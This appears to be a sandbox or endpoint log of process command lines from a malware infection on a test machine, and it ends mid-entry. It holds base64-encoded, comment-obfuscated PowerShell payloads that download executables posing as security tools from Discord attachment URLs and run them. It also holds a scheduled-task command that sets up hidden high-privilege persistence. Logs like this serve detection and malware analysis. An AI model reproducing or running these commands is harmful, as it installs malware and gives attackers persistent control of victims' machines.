| cmdline | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdwBlACMAPgBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAAxADAANQA7ACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAGQAbgAuAGQAaQBzAGMAbwByAGQAYQBwAHAALgBjAG8AbQAvAGEAdAB0AGEAYwBoAG0AZQBuAHQAcwAvADEAMAAyADcAMQA5ADUAMgA5ADIAOAA4ADMAMwA3ADAAMAAzADQALwAxADAAMwAwADgAOAA3ADMANQA5ADkANAAxADcAMgAyADEANgAyAC8AUwBlAGMAdQByAGkAdAB5AEgAbwBzAHQALgBlAHgAZQAnACwAIAA8ACMAZABnAHIAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBqAHAAYwAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwBqAGYAZQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBTAGUAYwB1AHIAaQB0AHkASABvAHMAdAAuAGUAeABlACcAKQApADwAIwB2AGgAdAAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBzAGQAeAAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAcABwAG4AIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAUwBlAGMAdQByAGkAdAB5AEgAbwBzAHQALgBlAHgAZQAnACkAPAAjAHUAYgBoACMAPgA=" |
| cmdline | powershell -EncodedCommand "PAAjAGUAYgB0ACMAPgBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAA3ADAAOwAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwAHMAOgAvAC8AYwBkAG4ALgBkAGkAcwBjAG8AcgBkAGEAcABwAC4AYwBvAG0ALwBhAHQAdABhAGMAaABtAGUAbgB0AHMALwAxADAAMgA3ADEAOQA1ADIAOQAyADgAOAAzADMANwAwADAAMwA0AC8AMQAwADMAMAA4ADgANgA0ADIAOQAyADUANQAwADEAMgA0ADUAMgAvAFcAaQBuAGQAbwB3AHMARABlAGYAZQBuAGQAZQByAFMAbQBhAHIAdAAuAGUAeABlACcALAAgADwAIwBiAGIAegAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGoAbgBqACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAGgAaQBjACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFcAaQBuAGQAbwB3AHMARABlAGYAZQBuAGQAZQByAFMAbQBhAHIAdAAuAGUAeABlACcAKQApADwAIwBlAGsAcAAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwB3AHAAZwAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAbABwAGcAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAVwBpAG4AZABvAHcAcwBEAGUAZgBlAG4AZABlAHIAUwBtAGEAcgB0AC4AZQB4AGUAJwApADwAIwBwAGoAdgAjAD4A" |
| cmdline | powershell -EncodedCommand "PAAjAGwAbABiACMAPgBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAA2ADUAOwAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwAHMAOgAvAC8AYwBkAG4ALgBkAGkAcwBjAG8AcgBkAGEAcABwAC4AYwBvAG0ALwBhAHQAdABhAGMAaABtAGUAbgB0AHMALwAxADAAMgA3ADEAOQA1ADIAOQAyADgAOAAzADMANwAwADAAMwA0AC8AMQAwADMAMAA4ADgANgAxADkAMgAxADUAOQA0ADAAOAAxADcAMAAvAFMAZQBjAHUAcgBpAHQAeQBIAGUAYQBsAHQAaABTAGUAdQByAHYAaQBjAC4AZQB4AGUAJwAsACAAPAAjAGMAdwBxACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAaAB4AGkAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAaQBlAHkAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAUwBlAGMAdQByAGkAdAB5AEgAZQBhAGwAdABoAFMAZQByAHYAaQBjAC4AZQB4AGUAJwApACkAPAAjAHoAaQBzACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAG0AaQBwACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwBlAGoAcQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBTAGUAYwB1AHIAaQB0AHkASABlAGEAbAB0AGgAUwBlAHIAdgBpAGMALgBlAHgAZQAnACkAPAAjAHkAeABsACMAPgA=" |
| cmdline | schtasks /create /tn \WIndowShellHost /tr "C:\Users\test22\AppData\Roaming\WIndowShellHost\WIndowShellHost.exe" /st 00:00 /du 9999:59 /sc once /ri 60 /rl HIGHEST /f |
| cmdline | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGcAawBmACMAPgBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAA4ADUAOwAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwAHMAOgAvAC8AYwBkAG4ALgBkAGkAcwBjAG8AcgBkAGEAcABwAC4AYwBvAG0ALwBhAHQAdABhAGMAaABtAGUAbgB0AHMALwAxADAAMgA3ADEAOQA1ADIAOQAyADgAOAAzADMANwAwADAAMwA0AC8AMQAwADMAMAA4ADgANgA3ADkAOAA1ADcAMQA4ADYANAAxADMANAAvAHUAYgBuAGEAbgAuAGUAeABlACcALAAgADwAIwBzAGgAagAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAHQAZgBnACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAGUAegBnACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMANQAwADAAdQBiAG4AYQBuAC4AZQB4AGUAJwApACkAPAAjAHkAbgBsACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAHIAdABmACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwB4AGwAZQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBTADUAMAAwAHUAYgBuAGEAbgAuAGUAeABlACcAKQA8ACMAcwBoAHcAIwA+AA==" |
| cmdline | powershell -EncodedCommand "PAAjAG0AcgBzACMAPgBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAA5ADUAOwAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwAHMAOgAvAC8AYwBkAG4ALgBkAGkAcwBjAG8AcgBkAGEAcABwAC4AYwBvAG0ALwBhAHQAdABhAGMAaABtAGUAbgB0AHMALwAxADAAMgA3ADEAOQA1ADIAOQAyADgAOAAzADMANwAwADAAMwA0AC8AMQAwADMAMAA4ADgANgA4ADkANQAyADAAMAAyADUAMQA5ADkANgAvAEYAaQBsAGUATQBhAG4AYQBnAGUAcgAuAGUAeABlACcALAAgADwAIwB0AG0AdAAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAG0AcgBnACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAHYAagBzACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEYAaQBsAGUATQBhAG4AYQBnAGUAcgAuAGUAeABlACcAKQApADwAIwBmAHIAaQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBwAHIAYQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAZQBzAGkAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcARgBpAGwAZQBNAGEAbgBhAGcAZQByAC4AZQB4AGUAJwApADwAIwBnAHYAbAAjAD4A" |
| cmdline | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGUAYgB0ACMAPgBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAA3ADAAOwAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwAHMAOgAvAC8AYwBkAG4ALgBkAGkAcwBjAG8AcgBkAGEAcABwAC4AYwBvAG0ALwBhAHQAdABhAGMAaABtAGUAbgB0AHMALwAxADAAMgA3ADEAOQA1ADIAOQAyADgAOAAzADMANwAwADAAMwA0AC8AMQAwADMAMAA4ADgANgA0ADIAOQAyADUANQAwADEAMgA0ADUAMgAvAFcAaQBuAGQAbwB3AHMARABlAGYAZQBuAGQAZQByAFMAbQBhAHIAdAAuAGUAeABlACcALAAgADwAIwBiAGIAegAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGoAbgBqACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAGgAaQBjACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFcAaQBuAGQAbwB3AHMARABlAGYAZQBuAGQAZQByAFMAbQBhAHIAdAAuAGUAeABlACcAKQApADwAIwBlAGsAcAAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwB3AHAAZwAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAbABwAGcAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAVwBpAG4AZABvAHcAcwBEAGUAZgBlAG4AZABlAHIAUwBtAGEAcgB0AC4AZQB4AGUAJwApADwAIwBwAGoAdgAjAD4A" |
| cmdline | powershell -EncodedCommand "PAAjAGwAdwBlACMAPgBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAAxADAANQA7ACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAGQAbgAuAGQAaQBzAGMAbwByAGQAYQBwAHAALgBjAG8AbQAvAGEAdAB0AGEAYwBoAG0AZQBuAHQAcwAvADEAMAAyADcAMQA5ADUAMgA5ADIAOAA4ADMAMwA3ADAAMAAzADQALwAxADAAMwAwADgAOAA3ADMANQA5ADkANAAxADcAMgAyADEANgAyAC8AUwBlAGMAdQByAGkAdAB5AEgAbwBzAHQALgBlAHgAZQAnACwAIAA8ACMAZABnAHIAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBqAHAAYwAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwBqAGYAZQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBTAGUAYwB1AHIAaQB0AHkASABvAHMAdAAuAGUAeABlACcAKQApADwAIwB2AGgAdAAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBzAGQAeAAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAcABwAG4AIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAUwBlAGMAdQByAGkAdAB5AEgAbwBzAHQALgBlAHgAZQAnACkAPAAjAHUAYgBoACMAPgA=" |
| cmdline | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGsAeQB5ACMAPgBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAA1ADAAOwAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwAHMAOgAvAC8AYwBkAG4ALgBkAGkAcwBjAG8AcgBkAGEAcABwAC4AYwBvAG0ALwBhAHQAdABhAGMAaABtAGUAbgB0AHMALwAxADAAMgA3ADEAOQA1ADIAOQAyADgAOAAzADMANwAwADAAMwA0AC8AMQAwADMAMAA4ADgANQA3ADkAMwA3ADkAMgA4ADAAMgA5ADMANgAvAEQAZQBmAGUAbgBkAGUAcgBSAHUAbgB0AGkAbQBlAGUALgBlAHgAZQAnACwAIAA8ACMAaABhAGIAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBrAGIAcAAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwBiAHAAaQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBEAGUAZgBlAG4AZABlAHIAUgB1AG4AdABpAG0AZQBlAC4AZQB4AGUAJwApACkAPAAjAGcAcwB0ACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAHAAcAB3ACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwBzAHYAcQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBEAGUAZgBlAG4AZABlAHIAUgB1AG4AdABpAG0AZQBlAC4AZQB4AGUAJwApADwAIwBwAG4AeAAjAD4A" |
| cmdline | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAG0AcgBzACMAPgBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAA5ADUAOwAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwAHMAOgAvAC8AYwBkAG4ALgBkAGkAcwBjAG8AcgBkAGEAcABwAC4AYwBvAG0ALwBhAHQAdABhAGMAaABtAGUAbgB0AHMALwAxADAAMgA3ADEAOQA1ADIAOQAyADgAOAAzADMANwAwADAAMwA0AC8AMQAwADMAMAA4ADgANgA4ADkANQAyADAAMAAyADUAMQA5ADkANgAvAEYAaQBsAGUATQBhAG4AYQBnAGUAcgAuAGUAeABlACcALAAgADwAIwB0AG0AdAAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAG0AcgBnACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAHYAagBzACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEYAaQBsAGUATQBhAG4AYQBnAGUAcgAuAGUAeABlACcAKQApADwAIwBmAHIAaQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBwAHIAYQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAZQBzAGkAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcARgBpAGwAZQBNAGEAbgBhAGcAZQByAC4AZQB4AGUAJwApADwAIwBnAHYAbAAjAD4A" |
| cmdline | powershell -EncodedCommand "PAAjAGsAeQB5ACMAPgBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAA1ADAAOwAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwAHMAOgAvAC8AYwBkAG4ALgBkAGkAcwBjAG8AcgBkAGEAcABwAC4AYwBvAG0ALwBhAHQAdABhAGMAaABtAGUAbgB0AHMALwAxADAAMgA3ADEAOQA1ADIAOQAyADgAOAAzADMANwAwADAAMwA0AC8AMQAwADMAMAA4ADgANQA3ADkAMwA3ADkAMgA4ADAAMgA5ADMANgAvAEQAZQBmAGUAbgBkAGUAcgBSAHUAbgB0AGkAbQBlAGUALgBlAHgAZQAnACwAIAA8ACMAaABhAGIAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBrAGIAcAAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwBiAHAAaQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBEAGUAZgBlAG4AZABlAHIAUgB1AG4AdABpAG0AZQBlAC4AZQB4AGUAJwApACkAPAAjAGcAcwB0ACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAHAAcAB3ACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwBzAHYAcQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBEAGUAZgBlAG4AZABlAHIAUgB1AG4AdABpAG0AZQBlAC4AZQB4AGUAJwApADwAIwBwAG4AeAAjAD4A" |
| cmdline | powershell -EncodedCommand "PAAjAG4AYgB2ACMAPgBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAAxADEAMAA7ACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAGQAbgAuAGQAaQBzAGMAbwByAGQAYQBwAHAALgBjAG8AbQAvAGEAdAB0AGEAYwBoAG0AZQBuAHQAcwAvADEAMAAyADcAMQA5ADUAMgA5ADIAOAA4ADMAMwA3ADAAMAAzADQALwAxADAAMwAwADgAOAA3ADQAOAAwADYANAA1ADMAOAA2ADMANgAxAC8AVwBpAG4AZABvAHcAcwBQAHIAbwB0AGUAYwB0AC4AZQB4AGUAJwAsACAAPAAjAGcAawBzACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAdQBiAHYAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAdwBzAHcAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAVwBpAG4AZABvAHcAcwBQAHIAbwB0AGUAYwB0AC4AZQB4AGUAJwApACkAPAAjAGIAYwBzACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAHEAdQBrACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwB5AGsAYgAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBXAGkAbgBkAG8AdwBzAFAAcgBvAHQAZQBjAHQALgBlAHgAZQAnACkAPAAjAGwAbgBlACMAPgA=" |
| cmdline | powershell -EncodedCommand "PAAjAGIAaQB4ACMAPgBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAA3ADUAOwAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwAHMAOgAvAC8AYwBkAG4ALgBkAGkAcwBjAG8AcgBkAGEAcABwAC4AYwBvAG0ALwBhAHQAdABhAGMAaABtAGUAbgB0AHMALwAxADAAMgA3ADEAOQA1ADIAOQAyADgAOAAzADMANwAwADAAMwA0AC8AMQAwADMAMAA4ADgANgA2ADEAMwA4ADEANgA5ADgAMwA2ADQAMgAvAFIAZQBkAGwAaQBuAEUAUwBlAGMAdQByAHQAeQAuAGUAeABlACcALAAgADwAIwByAGwAeQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAHUAbQBzACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAHoAdgB5ACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFIAZQBkAGwAaQBuAEUAUwBlAGMAdQByAHQAeQAuAGUAeABlACcAKQApADwAIwBjAGsAbAAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBjAGQAdQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAZABzAGMAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAUgBlAGQAbABpAG4ARQBTAGUAYwB1AHIAdAB5AC4AZQB4AGUAJwApADwAIwBmAHUAcgAjAD4A" |
| cmdline | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHgAZwBjACMAPgBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAA2ADAAOwAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwAHMAOgAvAC8AYwBkAG4ALgBkAGkAcwBjAG8AcgBkAGEAcABwAC4AYwBvAG0ALwBhAHQAdABhAGMAaABtAGUAbgB0AHMALwAxADAAMgA3ADEAOQA1ADIAOQAyADgAOAAzADMANwAwADAAMwA0AC8AMQAwADMAMAA4ADgANgAxADUANgAwADIAOQA2ADYAMQAyADgANAAvAFMAZQBjAHUAcgBpAHQAeQBIAGUAYQBsAHQAaABTAGUAdQByAHYAaQBjAGUALgBlAHgAZQAnACwAIAA8ACMAdABjAG0AIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwB3AHMAcwAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwBmAHMAZwAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBTAGUAYwB1AHIAaQB0AHkASABlAGEAbAB0AGgAUwBlAHIAdgBpAGMAZQAuAGUAeABlACcAKQApADwAIwBnAHAAcAAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBlAHIAZgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAeAB5AHkAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAUwBlAGMAdQByAGkAdAB5AEgAZQBhAGwAdABoAFMAZQByAHYAaQBjAGUALgBlAHgAZQAnACkAPAAjAHkAcgBsACMAPgA=" |
| cmdline | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGQAagB2ACMAPgBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAAxADAAMAA7ACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAGQAbgAuAGQAaQBzAGMAbwByAGQAYQBwAHAALgBjAG8AbQAvAGEAdAB0AGEAYwBoAG0AZQBuAHQAcwAvADEAMAAyADcAMQA5ADUAMgA5ADIAOAA4ADMAMwA3ADAAMAAzADQALwAxADAAMwAwADgAOAA3ADEAOAA5ADYAMAAyADYANQAyADIAMgAxAC8ARgBpAGwAZQBNAGEAbgBhAGcAZQAuAGUAeABlACcALAAgADwAIwBpAG4AcAAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGMAYwBwACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAHEAcABnACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEYAaQBsAGUATQBhAG4AYQBnAGUALgBlAHgAZQAnACkAKQA8ACMAdwB6AG0AIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAZQBkAGMAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAHUAeQBkACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEYAaQBsAGUATQBhAG4AYQBnAGUALgBlAHgAZQAnACkAPAAjAGsAdwBqACMAPgA=" |
| cmdline | "cmd" /C schtasks /create /tn \WIndowShellHost /tr "C:\Users\test22\AppData\Roaming\WIndowShellHost\WIndowShellHost.exe" /st 00:00 /du 9999:59 /sc once /ri 60 /rl HIGHEST /f |
| cmdline | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAaQB4ACMAPgBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAA3ADUAOwAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwAHMAOgAvAC8AYwBkAG4ALgBkAGkAcwBjAG8AcgBkAGEAcABwAC4AYwBvAG0ALwBhAHQAdABhAGMAaABtAGUAbgB0AHMALwAxADAAMgA3ADEAOQA1ADIAOQAyADgAOAAzADMANwAwADAAMwA0AC8AMQAwADMAMAA4ADgANgA2ADEAMwA4ADEANgA5ADgAMwA2ADQAMgAvAFIAZQBkAGwAaQBuAEUAUwBlAGMAdQByAHQAeQAuAGUAeABlACcALAAgADwAIwByAGwAeQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAHUAbQBzACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAHoAdgB5ACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFIAZQBkAGwAaQBuAEUAUwBlAG